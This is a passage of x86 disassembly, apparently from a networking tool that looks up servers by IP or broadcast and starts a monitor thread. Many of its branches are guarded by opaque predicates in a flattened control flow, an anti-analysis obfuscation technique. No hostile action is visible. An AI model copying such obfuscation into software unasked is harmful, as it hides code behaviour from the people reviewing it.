mov byte [esp + 0x66], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x72], al
mov byte [esp + 0x2c], al
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], eax
jmp 0x5bb61c
mov dword [esp + 0x50], ebp
movzx eax, bl
cmp eax, 0xd
je 0x5bb65b
cmp eax, 0x27
je 0x5bb687
mov ecx, 0x1c
cmp eax, 0x46
mov edi, dword [esp + 0x50]
jne 0x5bb6bb
mov byte [esp + 0x68], 0x78
call fcn.0061b510
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
mov dword [esp + 0x48], edi
jmp 0x5bb6ac
mov edi, 0x10
mov byte [esp + 0x68], 0x78
call fcn.0061b510
test eax, eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], esi
mov dword [esp + 0x6c], esi
je 0x5bc8d3
jmp 0x5bba1d
mov byte [esp + 0x68], 0x78
call fcn.0061b510
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
mov eax, dword [esp + 0x50]
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], esi
je 0x5bc8d3
jmp 0x5bc5ab
mov dword [esp + 0x6c], esi
mov dword [esp + 0x48], edi
mov dword [esp + 0x74], esi
jmp 0x5bb9cc
xor eax, eax
mov esi, dword [esp + 0x2c]
jmp 0x5bb6ec
mov ecx, eax
and ecx, 1
xor ecx, eax
cmp ecx, 0xffffffff
setne cl
movzx ecx, cl
add eax, ecx
mov ecx, dword [esp + 0x24]
mov dword [ecx], esi
test eax, eax
jne 0x5bb3f6
mov ecx, eax
or ecx, 2
mov edx, eax
xor edx, 2
add edx, ecx
jne 0x5bb6d4
jmp 0x5bb3f6
mov esi, 0x15
mov byte [esp + 0x20], 0x43
call fcn.004879f0
test eax, eax
je 0x5bb739
mov edi, 9
mov ecx, eax
mov dword [esp + 0x1c], eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
jne 0x5bbd7f
jmp 0x5bb984
mov dword [esp + 0x1c], eax
jmp 0x5bb984
mov ebp, 0x13
mov byte [esp + 0x20], 0x6b
xor eax, ebx
setne al
movzx eax, al
add ebx, eax
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
mov dword [edi + 0x94], 1
mov dword [edi + 0x9c], 0
mov dword [edi + 0x98], 0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
lea eax, [edi + 0x84]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, 3
sub eax, ebx
mov ecx, ebx
xor ecx, eax
setne cl
movzx ecx, cl
cmp ebx, ecx
jb 0x5bb750
mov esi, dword [esp + 0x6c]
mov al, byte [esp + 0x73]
mov ecx, dword [esp + 0x54]
jmp 0x5bc2a2
imul esi, esi
and esi, 3
cmp esi, 2
mov esi, dword [esp + 0x6c]
jb 0x5bbb27
mov edi, 0xd
mov byte [esp + 0x33], 0x49
call fcn.0043ef20
mov dword [esp + 0x128], eax
test eax, eax
mov bl, byte [esp + 0x73]
mov ebp, dword [esp + 0x58]
je 0x5bb921
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
je 0x5bb921
mov dword [esp], eax
call fcn.007c9b60
mov edi, eax
test edi, edi
jne 0x5bb880
mov eax, edi
imul eax, eax
and eax, 3
cmp eax, 2
jae 0x5bb880
mov dword [esp + 0x6c], esi
jmp 0x5bb9b0
mov ebp, dword [edi]
mov dword [esp], 0xac
call fcn.004939e0
mov ebx, eax
mov dword [esp + 8], ebp
mov dword [esp], ebx
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
mov dword [ebx + 0x94], 1
mov dword [ebx + 0x9c], 0
mov dword [ebx + 0x98], 0
mov dword [ebx + 0xa4], 0
mov dword [ebx + 0xa0], 0
mov dword [ebx + 0xa8], 0
mov dword [esp + 8], ebx
lea eax, [ebx + 0x84]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov edi, dword [edi + 4]
mov eax, edi
and eax, 1
xor eax, edi
not eax
test edi, edi
jne 0x5bb880
mov ebx, 0xd
test eax, eax
je 0x5bb880
mov dword [esp + 0x6c], esi
jmp 0x5bb996
mov dword [esp + 0x6c], esi
xor eax, eax
cmp edi, 7
je 0x5bb940
mov ecx, edi
and ecx, 1
inc ecx
xor ecx, edi
je 0x5bb940
mov dword [esp + 0x58], ebp
mov byte [esp + 0x73], bl
jmp 0x5bb9b0
mov edi, dword [esp + 0x54]
jmp 0x5bb963
mov esi, 7
mov bl, 0x7b
add ecx, eax
setne cl
movzx ecx, cl
add eax, ecx
mov edi, ebp
mov ecx, eax
not ecx
and ecx, 1
mov edx, eax
add edx, ecx
setne dl
movzx edx, dl
cmp eax, edx
jb 0x5bb950
mov dword [esp + 0x58], ebp
mov dword [esp + 0x54], edi
mov byte [esp + 0x73], bl
cmp esi, 7
je 0x5bb806
mov esi, dword [esp + 0x6c]
jmp 0x5bb819
cmp ebx, 0xd
jne 0x5bbc6f
mov eax, ebx
and eax, 1
xor eax, ebx
not eax
test eax, eax
je 0x5bbc6f
mov ecx, 0xd
mov eax, 0xa
movzx edx, byte [esp + 0x33]
cmp edx, 0x49
mov esi, dword [esp + 0x74]
jne 0x5bc4ea
cmp ecx, 0xd
jne 0x5bb9f5
mov eax, 3
sub eax, ecx
xor eax, ecx
je 0x5bb9f5
mov byte [esp + 0x33], 0x49
lea eax, [esp + 0x128]
mov dword [esp], eax
call fcn.004952d0
jmp 0x5bc8cf
mov edi, 5
mov byte [esp + 0x68], 0x78
call fcn.0061b510
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bca03
cmp edi, 5
je 0x5bc8cf
xor eax, eax
test al, al
mov esi, dword [esp + 0x6c]
je 0x5bc5ab
jmp 0x5bc8d3
mov edi, 8
mov byte [esp + 0x65], 0x3c
mov byte [esp + 0x67], 0x79
mov byte [esp + 0x73], 0x7b
mov bh, 0x54
mov byte [esp + 0x66], 0x35
mov edx, ecx
imul edx, edx
and edx, 3
cmp edx, 2
adc ecx, 0
mov edx, ecx
not edx
and edx, 1
add edx, ecx
setne dl
movzx edx, dl
cmp ecx, edx
jb 0x5bba40
mov dword [esp + 0x34], eax
cmp edi, 4
je 0x5bcadc
xor eax, eax
test al, al
mov dword [esp + 0x6c], esi
jne 0x5bcadc
mov esi, dword [esp + 0x34]
mov edi, dword [esi]
mov dword [esp], edi
call fcn.00487e70
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 3
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bbafe
mov byte [esp + 0x60], bh
mov eax, 0x17
movzx ecx, byte [esp + 0x66]
cmp ecx, 0x7c
jne 0x5bbb16
mov byte [esp + 0x66], 0x7c
lea eax, [esp + 0x8c]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.007c6a30
test eax, eax
mov dword [esp + 0x38], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x3c], esi
jne 0x5bbc6f
jmp 0x5bbd12
mov byte [esp + 0x60], bh
mov eax, esi
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x38], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x3c], eax
jmp 0x5bbb27
mov dword [esp + 0x38], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x3c], esi
jmp 0x5bbcd2
mov edi, dword [esp + 0x54]
mov dword [esp], edi
call fcn.00487c30
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bbb82
mov dword [esp], edi
call fcn.00487e10
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bbb82
mov dword [esp], edi
call fcn.00489030
test eax, eax
jne 0x5bbc10
mov dword [esp + 0x5c], edi
mov bh, byte [esp + 0x60]
jmp 0x5bc083
mov eax, 9
movzx ecx, byte [esp + 0x67]
cmp ecx, 0x79
jne 0x5bbc03
mov byte [esp + 0x67], 0x79
mov dword [esp], 0xac
call fcn.004939e0
mov ebx, edi
mov edi, eax
mov dword [esp + 8], ebx
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de130]
movups xmmword [edi + 0x94], xmm0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
add edi, 0x84
mov dword [esp + 4], edi
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov dword [esp + 0x6c], esi
mov dword [esp + 0x5c], ebx
jmp 0x5bc04f
mov dword [esp + 0x6c], esi
mov dword [esp + 0x5c], edi
jmp 0x5bc7ad
mov eax, 0x10
mov ebx, 4
movzx ecx, byte [esp + 0x65]
cmp ecx, 0x3c
mov dword [esp + 0x5c], edi
mov ecx, dword [esp + 0x58]
je 0x5bbf0e
jmp 0x5bca93
mov byte [esp + 0x60], 0x4b
mov dword [esp + 4], esi
lea eax, [esp + 0x8c]
mov dword [esp], eax
mov dword [esp + 8], pe_nt_image_headers32
call fcn.007c6e50
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
mov dword [esp + 0x58], esi
je 0x5bc1fe
mov ebx, 1
call fcn.007c4fd0
mov edi, eax
call fcn.007c4bf0
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov esi, dword [esp + 0x38]
mov dword [esp + 4], esi
mov dword [esp], str.Error_converting_ip__s_to_numeric_format__syserr__u__s__n
call fcn.004414c0
mov ecx, esi
cmp ebx, 1
je 0x5bbe6e
xor eax, eax
test al, al
jne 0x5bbe77
mov dword [esp + 0x58], ecx
mov eax, 0xf
mov ecx, dword [0x80dcdc]
test ecx, ecx
je 0x5bbcd2
mov edx, ecx
and edx, 1
inc edx
xor edx, ecx
jne 0x5bc56b
cmp eax, 0xf
je 0x5bca1a
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
je 0x5bca1a
mov ebx, 0x18
mov byte [esp + 0x66], 0x35
lea eax, [esp + 0x8c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x38]
mov dword [esp], eax
call fcn.007c6a30
test eax, eax
jne 0x5bb996
mov dl, byte [esp + 0x60]
movzx ecx, dl
cmp ecx, 0x1b
mov esi, dword [esp + 0x28]
je 0x5bbd3d
mov eax, 0xc
cmp ecx, 0x4b
je 0x5bbc35
mov cl, byte [esp + 0x2c]
mov edi, dword [esp + 0x6c]
jmp 0x5bc1aa
mov edi, 3
mov byte [esp + 0x60], 0x1b
mov dword [esp + 4], esi
lea eax, [esp + 0x8c]
mov dword [esp], eax
mov dword [esp + 8], pe_nt_image_headers32
call fcn.007c6e50
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
sete cl
movzx ecx, cl
cmp eax, ecx
mov dword [esp + 0x58], esi
jne 0x5bbc6f
cmp edi, 3
je 0x5bc1fe
xor ebx, ebx
test bl, bl
jne 0x5bc1fe
movzx eax, byte [esp + 0x20]
cmp eax, 0x43
je 0x5bbe80
cmp eax, 0x4a
mov esi, dword [esp + 0x1c]
je 0x5bb7dc
jmp 0x5bbe4e
mov byte [esp + 0x20], 0x43
mov eax, 3
sub eax, ebx
xor eax, ebx
setne al
movzx eax, al
add ebx, eax
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov dword [esp + 8], esi
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
mov dword [edi + 0x94], 1
mov dword [edi + 0x9c], 0
mov dword [edi + 0x98], 0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
lea eax, [edi + 0x84]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, ebx
not eax
and eax, 1
add eax, ebx
setne al
movzx eax, al
cmp ebx, eax
jb 0x5bbdc0
mov esi, dword [esp + 0x6c]
jmp 0x5bb819
mov dword [esp + 0x58], ecx
jmp 0x5bc1fe
mov dword [esp + 0x58], ecx
jmp 0x5bc1fe
mov ebx, 9
mov byte [esp + 0x20], 0x4a
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
mov dword [edi + 0x94], 1
mov dword [edi + 0x9c], 0
mov dword [edi + 0x98], 0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
lea eax, [edi + 0x84]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov esi, dword [esp + 0x6c]
mov ecx, dword [esp + 0x58]
cmp ebx, 4
jne 0x5bbf50
mov eax, ebx
not eax
and eax, 1
add eax, ebx
je 0x5bbf59
mov dword [esp + 0x58], ecx
mov edi, 4
mov byte [esp + 0x65], 0x3c
call fcn.0061b510
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
mov bh, byte [esp + 0x60]
jne 0x5bba80
jmp 0x5bc083
mov dword [esp + 0x58], ecx
jmp 0x5bb819
mov dword [esp + 0x58], ecx
jmp 0x5bb819
mov ecx, 0x19
mov bl, 0x11
inc eax
mov edi, ebp
mov edx, eax
or edx, 2
mov esi, eax
xor esi, 2
add esi, edx
setne dl
movzx edx, dl
cmp eax, edx
jb 0x5bbf70
mov byte [esp + 0x73], bl
mov dword [esp + 0x54], edi
cmp ecx, 0xa
je 0x5bca1a
xor eax, eax
test al, al
mov esi, dword [esp + 0x6c]
je 0x5bbb27
jmp 0x5bca1a
mov eax, ebx
and eax, 1
xor eax, ebx
cmp eax, 0xffffffff
setne al
movzx eax, al
add ebx, eax
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de110]
movups xmmword [edi + 0x94], xmm0
mov dword [edi + 0xa4], 1
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
add edi, 0x84
mov dword [esp + 4], edi
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, 3
sub eax, ebx
xor eax, ebx
setne al
movzx eax, al
cmp ebx, eax
jb 0x5bbfc0
mov dword [esp + 0x6c], esi
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x5bc076
mov eax, 3
sub eax, ecx
xor eax, ecx
mov dword [esp + 0x34], ecx
mov bh, byte [esp + 0x60]
jne 0x5bc0f9
jmp 0x5bba97
mov dword [esp + 0x34], ecx
mov bh, byte [esp + 0x60]
jmp 0x5bba97
mov byte [esp + 0x60], bh
mov ebx, 0xb
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de140]
movups xmmword [edi + 0x94], xmm0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
add edi, 0x84
mov dword [esp + 4], edi
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, esi
mov ecx, dword [esp + 0x58]
jmp 0x5bc51f
mov esi, 0xd
mov byte [esp + 0x72], 0x26
lea eax, [esp + 0x12c]
mov dword [esp], eax
call fcn.004952d0
mov dword [esp + 4], 0x5b24f0
mov dword [esp], 0x80dcdc
call fcn.007c5290
mov ecx, dword [0x80dcdc]
test ecx, ecx
jne 0x5bc14b
mov byte [esp + 0x60], bh
mov eax, ecx
and eax, 1
xor eax, ecx
mov dword [esp + 0x24], ecx
not eax
test eax, eax
jne 0x5bca1a
jmp 0x5bc153
mov dword [esp + 0x24], ecx
mov byte [esp + 0x60], bh
cmp esi, 0xd
jne 0x5bc276
mov eax, esi
or eax, 2
xor esi, 2
add esi, eax
je 0x5bc276
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 4]
mov dword [esp + 0x50], eax
test eax, eax
je 0x5bc56b
mov eax, dword [esp + 0x50]
imul eax, eax
and eax, 3
cmp eax, 2
je 0x5bc56b
mov eax, 0x1c
mov cl, 0x6d
mov byte [esp + 0x4c], 0x28
mov edi, dword [esp + 0x24]
mov dl, byte [esp + 0x60]
mov esi, dword [esp + 0x28]
mov byte [esp + 0x2c], cl
cmp eax, 0xc
jne 0x5bc287
mov dword [esp + 0x6c], edi
mov edi, 0x19
mov byte [esp + 0x60], 0x54
mov dword [esp + 4], esi
lea eax, [esp + 0x8c]
mov dword [esp], eax
mov dword [esp + 8], pe_nt_image_headers32
call fcn.007c6e50
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
mov dword [esp + 0x58], esi
mov dword [esp + 0x28], esi
jne 0x5bc2d4
mov bl, byte [esp + 0x73]
movzx ecx, bl
cmp ecx, 0x11
je 0x5bc293
xor eax, eax
cmp ecx, 0x26
je 0x5bc2c7
mov edi, 7
cmp ecx, 0x7b
mov ebp, dword [esp + 0x58]
jne 0x5bb925
mov edx, dword [esp + 0x54]
mov esi, dword [esp + 0x6c]
jmp 0x5bc255
mov bl, 0x26
mov ecx, eax
not ecx
and ecx, 1
add ecx, eax
setne cl
movzx ecx, cl
add eax, ecx
mov edx, ebp
mov ecx, eax
and ecx, 1
xor ecx, eax
cmp ecx, 0xffffffff
setne cl
movzx ecx, cl
cmp eax, ecx
jb 0x5bc240
mov dword [esp + 0x54], edx
mov byte [esp + 0x73], bl
jmp 0x5bbb27
mov ebp, dword [esp + 0x48]
mov esi, dword [esp + 0x74]
mov bh, byte [esp + 0x60]
jmp 0x5bc6e6
mov dword [esp + 0x28], esi
mov byte [esp + 0x60], dl
mov esi, edi
jmp 0x5bc303
mov ebp, 5
mov al, 0x67
mov esi, dword [esp + 0x6c]
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x54], ecx
mov byte [esp + 0x73], al
cmp ebp, 5
jne 0x5bb819
imul ebp, ebp
and ebp, 3
cmp ebp, 2
jb 0x5bbb27
jmp 0x5bb819
mov edi, dword [esp + 0x54]
mov ebp, dword [esp + 0x58]
jmp 0x5bbf7a
cmp edi, 0xf
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x6c]
je 0x5bc2f4
xor eax, eax
test al, al
mov dword [esp + 0x58], ecx
je 0x5bbc6f
jmp 0x5bc8d3
mov dword [esp + 0x58], ecx
jmp 0x5bc8d3
mov byte [esp + 0x60], bh
mov esi, ebp
mov edi, dword [esp + 0x50]
mov ecx, dword [edi + 0xc]
mov dword [esp + 0x44], ecx
mov eax, dword [esi + 0xc]
mov dword [esp + 0x40], eax
mov eax, dword [eax + 0x94]
cmp eax, dword [ecx + 0x94]
jne 0x5bc368
mov ebp, 0xd
mov al, byte [esp + 0x2c]
movzx eax, al
cmp eax, 0x39
je 0x5bc373
cmp eax, 0x6d
jne 0x5bc37e
mov eax, 0x19
mov byte [esp + 0x2c], 0x5e
mov ecx, dword [esp + 0x40]
mov ecx, dword [ecx + 0x9c]
mov edx, dword [esp + 0x44]
cmp ecx, dword [edx + 0x9c]
mov ebp, edi
mov bh, byte [esp + 0x60]
je 0x5ba912
jmp 0x5bc6e6
mov ebp, edi
mov bh, byte [esp + 0x60]
jmp 0x5bc6e6
mov eax, edi
mov dword [esp + 0x74], esi
jmp 0x5bc6a5
mov edi, 0x10
mov byte [esp + 0x2c], 0x6d
mov eax, dword [esp + 0x40]
mov eax, dword [eax + 0x9c]
mov ecx, dword [esp + 0x44]
cmp eax, dword [ecx + 0x9c]
mov bh, byte [esp + 0x60]
je 0x5bc3bf
xor eax, eax
test al, al
mov eax, dword [esp + 0x50]
mov ebp, eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], esi
je 0x5bc6e6
jmp 0x5bcac1
mov eax, dword [esp + 0x50]
mov dword [esp + 0x48], eax
mov dword [esp + 0x74], esi
jmp 0x5bcac1
mov eax, 2
mov byte [esp + 0x4c], 1
mov edx, dword [ebp + 4]
mov dword [esp + 0x6c], ebp
test edx, edx
mov edi, dword [esp + 0x54]
jne 0x5bc407
mov ecx, edx
mov dword [esp + 0x50], edx
imul ecx, ecx
and ecx, 3
cmp ecx, 2
jb 0x5bc775
mov byte [esp + 0x60], bh
jmp 0x5bc9ad
mov dword [esp + 0x50], edx
mov byte [esp + 0x60], bh
jmp 0x5bc9ad
mov ecx, eax
and ecx, 1
xor ecx, eax
not ecx
test ecx, ecx
mov esi, dword [esp + 0x74]
je 0x5bc6e6
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x40]
mov dword [esp], eax
call fcn.007c58b0
mov ecx, eax
and ecx, 1
inc ecx
xor ecx, eax
sete cl
movzx ecx, cl
cmp eax, ecx
jne 0x5bc4b1
xor edi, edi
jmp 0x5bc495
mov esi, 0x19
mov eax, edi
or eax, 2
mov ecx, edi
xor ecx, 2
add ecx, eax
setne al
movzx eax, al
add edi, eax
mov eax, dword [esp + 0x74]
mov dword [esp + 4], eax
mov dword [esp], 0x80dcdc
call fcn.007c5260
mov dword [esp], eax
call fcn.004936c0
test edi, edi
jne 0x5bc4a4
mov eax, 3
sub eax, edi
xor eax, edi
jne 0x5bc460
mov byte [esp + 0x60], bh
mov dword [esp + 0x48], ebp
jmp 0x5bc153
mov esi, dword [esp + 0x74]
jmp 0x5bc6e6
mov dword [esp + 0x54], edi
mov ecx, dword [0x80dcdc]
test ecx, ecx
jne 0x5bc56b
mov eax, 0x17
mov edx, ecx
and edx, 1
xor edx, ecx
not edx
test edx, edx
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x48], ecx
je 0x5bc56b
cmp eax, 0xa
jne 0x5bc54d
mov ecx, eax
not ecx
and ecx, 1
add ecx, eax
je 0x5bc556
mov ebx, 0x12
mov byte [esp + 0x33], 0x2b
lea eax, [esp + 0x128]
mov dword [esp], eax
call fcn.004952d0
mov dword [esp + 0x74], esi
mov ecx, dword [esp + 0x58]
mov eax, dword [esp + 0x6c]
cmp ebx, 0xb
jne 0x5bc542
mov dword [esp + 0x58], ecx
imul ebx, ebx
and ebx, 3
cmp ebx, 2
mov esi, eax
mov dword [esp + 0x6c], eax
jb 0x5bc04f
jmp 0x5bc8d3
mov dword [esp + 0x58], ecx
mov esi, eax
jmp 0x5bc8d3
mov dword [esp + 0x74], esi
jmp 0x5bca1a
mov dword [esp + 0x74], esi
jmp 0x5bca1a
mov dword [esp], str.No_server_found_as_broadcast_is_disabled_and_no_user_address_is_specified_n
call fcn.004414c0
mov dword [esp + 0xc], 0x16
mov dword [esp + 8], 0
mov dword [esp + 4], 0x5b1e60
mov dword [esp], 0x80dcac
call fcn.00493ca0
test eax, eax
jne 0x5bc59a
xor eax, eax
jmp 0x5bce54
mov dword [esp], str.Failed_to_create_monitor_thread_n
call fcn.00441610
call fcn.0044c0d0
movzx eax, byte [esp + 0x68]
cmp eax, 0x26
je 0x5bc632
mov ebx, 0x19
cmp eax, 0x5d
jne 0x5bc82a
mov byte [esp + 0x68], 0x26
call fcn.004879c0
mov edi, eax
mov dword [esp], 0xac
call fcn.004939e0
mov ebx, eax
mov dword [esp + 8], edi
mov dword [esp], ebx
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de110]
movups xmmword [ebx + 0x94], xmm0
mov dword [ebx + 0xa4], 1
mov dword [ebx + 0xa8], 0
mov dword [esp + 8], ebx
add ebx, 0x84
mov dword [esp + 4], ebx
mov dword [esp], 0x80dcdc
call fcn.007c5230
jmp 0x5bc8d3
mov ebp, 0x19
mov byte [esp + 0x68], 0x78
call fcn.004879c0
mov edi, eax
mov dword [esp], 0xac
call fcn.004939e0
mov ebx, eax
mov dword [esp + 8], edi
mov dword [esp], ebx
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de110]
movups xmmword [ebx + 0x94], xmm0
mov dword [ebx + 0xa4], 1
mov dword [ebx + 0xa8], 0
mov dword [esp + 8], ebx
add ebx, 0x84
mov dword [esp + 4], ebx
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, dword [esp + 0x48]
mov bh, byte [esp + 0x60]
cmp ebp, 0xd
jne 0x5bc756
imul ebp, ebp
and ebp, 3
cmp ebp, 2
jae 0x5bc756
mov ebp, eax
mov byte [esp + 0x2c], 0x39
mov eax, dword [esp + 0x40]
mov eax, dword [eax + 0x9c]
mov ecx, dword [esp + 0x44]
cmp eax, dword [ecx + 0x9c]
je 0x5bc414
mov esi, dword [esp + 0x74]
movzx eax, byte [esp + 0x4c]
cmp eax, 1
je 0x5bc72b
cmp eax, 0x53
jne 0x5bc3d0
mov byte [esp + 0x4c], 0x53
mov ecx, dword [ebp + 4]
mov dword [esp + 0x6c], ebp
test ecx, ecx
mov edi, dword [esp + 0x54]
je 0x5bc763
mov eax, ecx
mov dword [esp + 0x50], ecx
imul eax, eax
and eax, 3
cmp eax, 2
je 0x5bc775
mov byte [esp + 0x60], bh
mov esi, dword [esp + 0x6c]
jmp 0x5bc303
mov byte [esp + 0x4c], 0x28
mov ecx, dword [ebp + 4]
test ecx, ecx
je 0x5bc769
mov eax, ecx
mov dword [esp + 0x50], ecx
imul eax, eax
and eax, 3
cmp eax, 3
jne 0x5bc2fd
mov dword [esp + 0x6c], ebp
mov edi, dword [esp + 0x54]
jmp 0x5bc775
mov byte [esp + 0x60], bh
mov dword [esp + 0x48], eax
jmp 0x5bc8d3
mov dword [esp + 0x50], ecx
jmp 0x5bc775
mov dword [esp + 0x6c], ebp
mov dword [esp + 0x50], ecx
mov edi, dword [esp + 0x54]
mov byte [esp + 0x60], bh
xor eax, eax
test al, al
jne 0x5bc9d2
mov ebx, 9
xor eax, eax
test al, al
jne 0x5bcae7
mov eax, 0x13
xor ecx, ecx
test cl, cl
je 0x5bc4ba
mov ecx, dword [esp + 0x6c]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x74], esi
cmp eax, 9
jne 0x5bc98a
mov dword [esp + 0x54], edi
mov ebx, 0xb
mov byte [esp + 0x67], 0x15
mov dword [esp], 0xac
call fcn.004939e0
mov edi, eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 8], eax
mov dword [esp], edi
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de130]
movups xmmword [edi + 0x94], xmm0
mov dword [edi + 0xa4], 0
mov dword [edi + 0xa8], 0
mov dword [esp + 8], edi
add edi, 0x84
mov dword [esp + 4], edi
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x6c], esi
cmp ebx, 0xb
je 0x5bc04f
xor esi, esi
jmp 0x5bc8b8
mov byte [esp + 0x68], 0x5d
mov eax, esi
imul eax, eax
and eax, 3
cmp eax, 2
adc esi, 0
call fcn.004879c0
mov edi, eax
mov dword [esp], 0xac
call fcn.004939e0
mov ebx, eax
mov dword [esp + 8], edi
mov dword [esp], ebx
mov dword [esp + 4], pe_nt_image_headers32
call fcn.004959f0
movaps xmm0, xmmword [0x7de110]
movups xmmword [ebx + 0x94], xmm0
mov dword [ebx + 0xa4], 1
mov dword [ebx + 0xa8], 0
mov dword [esp + 8], ebx
add ebx, 0x84
mov dword [esp + 4], ebx
mov dword [esp], 0x80dcdc
call fcn.007c5230
mov eax, 3
sub eax, esi
xor eax, esi
setne al
movzx eax, al
cmp esi, eax
jb 0x5bc840
mov esi, dword [esp + 0x6c]
mov dword [esp + 0x12c], 0
lea eax, [esp + 0x12c]
mov dword [esp], eax
call fcn.00454000
mov eax, dword [esp + 0x12c]
mov dword [esp], eax
call fcn.007c9b60
test eax, eax
jne 0x5bc91a
mov ecx, eax
imul ecx, ecx
and ecx, 3
cmp ecx, 2
jae 0x5bc91a
mov dword [esp + 0x6c], esi
mov bh, byte [esp + 0x60]
jmp 0x5bc0f9
mov cl, 0x76
movzx edx, cl
cmp edx, 0x75
je 0x5bcb00
xor ecx, ecx
cmp edx, 0x76
jne 0x5bcb2e
lea edx, [esp + 0xa8]
mov dword [esp + 0x28], edx
mov byte [esp + 0x66], dl
mov byte [esp + 0x73], dl
mov byte [esp + 0x67], dl
mov byte [esp + 0x65], dl
jmp 0x5bc970
mov byte [esp + 0x65], 0x3c
mov byte [esp + 0x67], 0x79
mov byte [esp + 0x73], 0x7b
mov bh, 0x54
mov byte [esp + 0x66], 0x35
xor edx, ecx
setne dl
movzx edx, dl
add ecx, edx
mov edx, 3
sub edx, ecx
mov edi, ecx
xor edi, edx
setne bl
movzx edi, bl
cmp ecx, edi
jb 0x5bc950
jmp 0x5bcb21
mov eax, 4
mov edx, dword [0x80dcdc]
test edx, edx
jne 0x5bc9ad
mov ecx, 0xa
mov esi, edx
not esi
and esi, 1
